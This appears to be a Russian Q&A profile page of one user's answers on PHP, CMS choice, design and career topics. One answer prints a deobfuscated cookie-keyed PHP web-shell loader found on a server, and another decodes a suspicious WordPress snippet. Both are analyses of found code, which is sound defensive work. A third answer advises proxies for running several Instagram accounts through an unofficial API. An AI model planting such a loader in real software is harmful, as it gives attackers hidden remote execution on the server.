Задать вопрос
  • Неизвестный зашифрованный PHP скрипт на сервере, как расшифровать?

    riky
    @riky
    Laravel
    Глянул скрипт, интересно то что без специального ключа его не расшифровать. Ключ передается через параметр key из cookie.

    Основная часть скрипта в чуть более читаемом виде выглядит так. Тут просто строку $m расшифровывают и запускают на выполнение. И да, там скорее всего ничего интересного - просто шелл.

    if (!empty($_COOKIE["key"])) {
        $F = $_COOKIE["key"];
        $e = strlen($F);
        $n = [];
        for ($r = 0; $r < $e; ++$r) $n[] = 44378 - $e - ord($F[$r]);
        $m = base64_decode(str_replace("\n", '', $m));
        for ($r = 0; $r < 44378; ++$r) {
            $_ = abs($n[$r % $e] - $r);
            $F = $m[$_];
            $m[$_] = $m[$r];
            $m[$r] = $F;
        }
        if ($e < 10) $e *= $e & 1 ? 3 : 2;
        if (($m = @gzinflate($m)) && (md5(substr($m, 0, $e)) === '40d1093c6aa5fe053f65ec0b46a673f1')) {
            $m = substr($m, $e);
            echo $e, $r;
            @create_function('', "};unset(\$m,\$n,\$e,\$r,\$_,\$F);" . $m . '{');
        }
    }


    PS кстати, если все таки хочется расшифровать - можно заменить скрипт на свой который тупо сохраняет этот key, тогда используя его можно будет расшифровать.

    сохранять можно например таким кодом:
    <?php
    file_put_contents('key.log', $_COOKIE["key"] . "\n", FILE_APPEND);
    Ответ написан
    Комментировать
  • Является ли October CMS стабильно развивающимся проектом в 2018 году?

    riky
    @riky
    Laravel
    просмотрел много cms на базе laravel, их довольно много и у всех какие то недостатки свои. выбрал октябрь как наиболее приемлимый для себя.
    октябрь довольно сильно расширяет ларавел. в этом есть и плюсы и минусы.
    ну а вообще год назад тоже был вопрос развивается ли он (тогда он был на устаревшем ларавел 5,2 и я уже думал проект скончался), но в этом году обновили до 5,5.
    вообще на данный момент там очень много реализовано функций, и все что надо можно доделать в своих плагинах.

    Стоит ли обратить на нее внимание, как на альтернативу ModX и WP?

    я бы сказал так, если не уметь программировать - то лучше WP, там плагинов больше.
    если уметь - то лучше октябрь - дает больше свободы. Если знать ларавел, то это дает еще больше свободы (хотя его знания не обязательны, октябрь дает свою абстракцию, и свой некий фреймворк над фреймворком).
    Ответ написан
    1 комментарий
  • Как правильно вести и заканчивать проекты?

    riky
    @riky
    Laravel
    Очень мало людей могут довести проект в одиночку. Почитайте Ицхак Адизес, про 4 типа людей необходимых в каждом проекте. Очень сложно содержать в себе одновременно и инь и янь (это не у него, я от себя).
    Ищите единомышленников, которые будут дополнять то чего не хватает у вас.
    Ответ написан
    Комментировать
  • Хочу работать программистом в gamedev?

    riky
    @riky
    Laravel
    а какой у вас опыт? какие знания? что пробовали делать?
    и что конкретно в геймедеве? дизайн/программинг/сценарии/моделирование?
    и вообще почему геймдев?
    геймдев это одна из тех отраслей где ожидания vs реальность сильно расходятся.
    реальная свобода разве что у инди, но не каждый может позволить себе пилить игру пару лет ничего не зарабатывая и без надежды что что-то заработает вообще.
    Ответ написан
    Комментировать
  • На какую CMS быстрее и удобнее встроить вёрстку?

    riky
    @riky
    Laravel
    October CMS
    Ответ написан
    Комментировать
  • Как делать вёрстку текста без BR?

    riky
    @riky
    Laravel
    ни br ни p лучше не использовать - иначе responsive не добиться
    Ответ написан
    3 комментария
  • Помогает ли в больших js приложения (react, vue, angular) http2?

    riky
    @riky
    Laravel
    http2 c пхп в классическом варианте, например, не поможет, потому что на каждый запрос все равно будет запускаться отдельный процесс на сервере, а это накладно.
    очень многое от конкретного приложения зависит, а может что в вашем случае оно и не надо, эти фреймворки не панацея.
    Ответ написан
    Комментировать
  • Как написать свою CMS на node?

    riky
    @riky
    Laravel
    судя по всему вам нужна не очень уж универсальная CMS.

    Если у вас только "добавление статей", то скорее всего это просто блог.

    поэтому гуглите просто уроки на тему "блог на nodejs". на эту тему должно быть уроков больше, а суть там точно такая же.

    PS под "универсальными" я понимаю те, где как минимум можно создавать новые типы материалов с произвольным списком полей. а также подключение сторонних плагинов, разграничение доступа, сменные темы оформления и тд. Если вам это все надо - то по каждому пункту нужно будет задавать отдельные вопросы (здесь или в гугле).
    Ответ написан
    Комментировать
  • Как установить composer для нужной версии PHP?

    riky
    @riky
    Laravel
    скачайте composer.phar нужных версии в любое место и сделайте симлинки в корни проектов на них.
    ну и права на выполнение добавить: chmod u+x composer.phar
    итого вместо composer update будете писать
    ./composer update
    Ответ написан
    2 комментария
  • Как правильно рассчитывать отступы?

    riky
    @riky
    Laravel
    по поводу точной математики проблема в том что нет единственно правильного расположения.
    различные расположения элементов вызывает немного отличающиеся эмоциональные состояния у зрителя.
    а эмоциональное состояние и ощущения не выражаются мат. формулами.

    к тому же это будет зависеть не только от bounding box вокруг текста но и от шрифта и его плотности/размеров и тд. Если подходить к этому формально, то рассчеты будут очень сложные по каждой надписи, поэтому дизайнеры отталкиваются больше от своих ощущений и своего чувства меры.

    подробнее: изучайте основы дизайна и композиции.
    Ответ написан
    Комментировать
  • Как одновременно входить в несколько аккаунтов на автомате?

    riky
    @riky
    Laravel
    есть библиотека работающая через приватное апи https://github.com/mgp25/Instagram-API
    только учти что за 5 акков работающих с одного ип одновременно могут начать просить подтвердить по смс постоянно. так что лучше сразу готовь прокси
    Ответ написан
    Комментировать
  • Почему в silex framework нет папки контроллеров?

    riky
    @riky
    Laravel
    предполагается что их там будет немного. поэтому либо в один файл либо инклюдить.
    если вы собираетесь писать десяток контроллеров и столько же моделей, то возьмите ларавел, такой же микрофреймворк только все лучше организовано и больше функций.
    (микрофреймворк lumen не рекомендую, там отличия от полного laravel минимальные)
    Ответ написан
    3 комментария
  • Как вы "обрабатываете" контент и материал, который изучаете?

    riky
    @riky
    Laravel
    OneNote + закладки
    Ответ написан
    Комментировать
  • Как написать аналог Pokemon Go?

    riky
    @riky
    Laravel
    в PG насколько я знаю много хаков связанных с позиционированием. например в помещении спутники почти не видны. во вторых местоположение GPS может скакать на десятки и сотни метров даже когда юзер стоит, тем более что телефоны и качество датчиков у всех отличается. поэтому в чистом виде по координатам GPS это будет не юзабельно.
    PG по-моему активно используют датчики ускорения для определения перемещения на небольших расстояниях.
    в общем гемороя там хватит, в лоб задача вряд ли решится, по крайней мере с таким же более менее приемлимым качеством.
    Ответ написан
    Комментировать
  • Стоит ли пытаться развить скилл в веб дизайне front end'еру?

    riky
    @riky
    Laravel
    любой навык можно развить, вопрос только времени и усердия.

    по поводу дизайна могу посоветовать двигаться следующим образом.
    1) поискать книги по теории дизайна, композиции и подобному.
    2) изучать работы других дизайнеров, современные тенденции, практиковаться.

    теория это основа, зная ее уже можно производить декомпозицию работ других мастеров, находить закономерности.
    но одной теории без практики тоже мало, так как знания не будут закрепляться.
    в любом деле важно и образование(знания) и опыт.

    все в ваших руках, но нужно быть готовым уделить этому достаточно времени.
    Удачи!
    Ответ написан
    2 комментария
  • Страный код в начали файла Wordpress?

    riky
    @riky
    Laravel
    раскодировал ваш код, получается примерно следующее.
    правда при вставке часть кода у вас видимо потерялась в конце в районе "return$x2d81e;}function } ?>" тут явная ошибка.
    из-за этого непонятно с какими параметрами запускается функция.

    но судя по всему функция проверяет валидность ключа $u6f1c2e47 = "0ab51c57-be71-493a-8c58-7ce8d4b71671";

    скорее всего указанный код просто проверяет что скрипт запускает хозяин, который передаст нужные параметры через ($_POST или $_COOKIE).
    но что примечательно в коде нет ни eval ни include ни даже чего нибудь для сохранения.

    могу предположить что это автор скрипта (модуля или темы) хочет в дальнейшем проверять кто купил этот скрипт (или кто его слил).

    но код здесь не весь, поэтому возможно не прав.

    <?php 
    
    $qff9a = 471;
    $GLOBALS['i6e2c'] = Array();
    
    $r202 = "chr";
    $x217014 = "ord";
    $u9c19 = "strlen";
    $r038e = "ini_set";
    $r1fd = "serialize";
    $d02ff21eb = "phpversion";
    $d54fea = "unserialize";
    $f549e33c = "base64_decode";
    $y8bab83aa = "set_time_limit";
    $j01867 = "e7024";
    $qcf3eb3d = "b939eb25";
    $d8d47 = $_POST;
    $j5c03c5f3 = $_COOKIE;
    ini_set("error_log", NULL);
    ini_set("log_errors", 0);
    ini_set("max_execution_time", 0);
    set_time_limit(0);
    $e271c71 = NULL;
    $qfe70a = NULL;
    $u6f1c2e47 = "0ab51c57-be71-493a-8c58-7ce8d4b71671";
    
    function b939eb25($param1, $param2)
    {
        $result = "";
        for ($i = 0; $i < strlen($param1);) {
            for ($j = 0; $j < strlen($param2) && $i < strlen($param1); $j++, $i++) {
                $result .= chr(ord($param1[$i]) ^ ord($param2[$j]));
            }
        }
        return $result;
    }
    Ответ написан
    Комментировать
  • Какие есть книги или статьи для развития критического мышления?

    riky
    @riky
    Laravel
    основная проблема отсутствия критического мышления - излишняя вера авторитетам.
    вторая - отсутствие разноплановой информации о явлении.

    рекомендую начать с книги:
    Ицхак Адизес - Размышления о личном развитии
    Ответ написан
    Комментировать
  • Можно ли программно нажимать кнопки активного приложения в Android?

    riky
    @riky
    Laravel
    если бы было можно то делали бы трояны которые открывают ваш мобильный банкинг и переводят деньги, попутно забирая код подтверждения из смс.
    в обычном режиме такого нет, вопрос только можно ли это в рут режиме.
    Ответ написан
  • Как решать конфликты интересов между клиентами фрилансера?

    riky
    @riky
    Laravel
    многие тут советуют что все нормально, главное деньги, но взгляните с другой стороны, с заказчика.

    Рано или поздно они узнают об этом. негатива будет много, особенно если узнают со стороны, и как минимум начнут подозревать в сливе инсайдерской информации конкурентам, разбираться уже никто не станет. а как максимум гадить начнут. Так или иначе они делятся вами разной информации доверяя вам, что вы на их стороне, но по факту получается не совсем так. Это как юрист который работает на обоих конкурентов. Если же они не делятся с вами такой информацией то и проблемы нет, но судя по вопросу это не так.

    Если для вас ваше имя и деловая репутация важна, то следует предупредить обоих. Объяснив как это произошло, началось и что вы бережете их секреты. Как минимум они будут знать какой информацией могут с вами делится а какой нет и это будет честно. Возможно откажутся (но не оба). Но в любом случае они будут уважать вас за открытость, и скорее всего продолжат работу, и будут рекомендовать, в отличие от ситуации когда узнают со стороны.

    Многие тут пишут что важны только деньги, и это так, но есть сиюминутные деньги, а есть деньги в перспективе. Набирая честное имя и хорошую репутацию вы получаете реальные отзывы и поднимаете свой рейтинг и оплату, иначе всю жизнь придется возится в средней лиге безымянных и оплачиваемых по средней ставке.
    Ответ написан
    6 комментариев
  • Браузер, в котором каждая вкладка — инкогнито?

    riky
    @riky
    Laravel
    видел люди пишут и продают такие браузеры для соц сетей.
    из коробки можно разве что создавать отдельные профили браузера (в них куки изолированы).
    но это не вкладки, а отдельные окна.
    Ответ написан
    Комментировать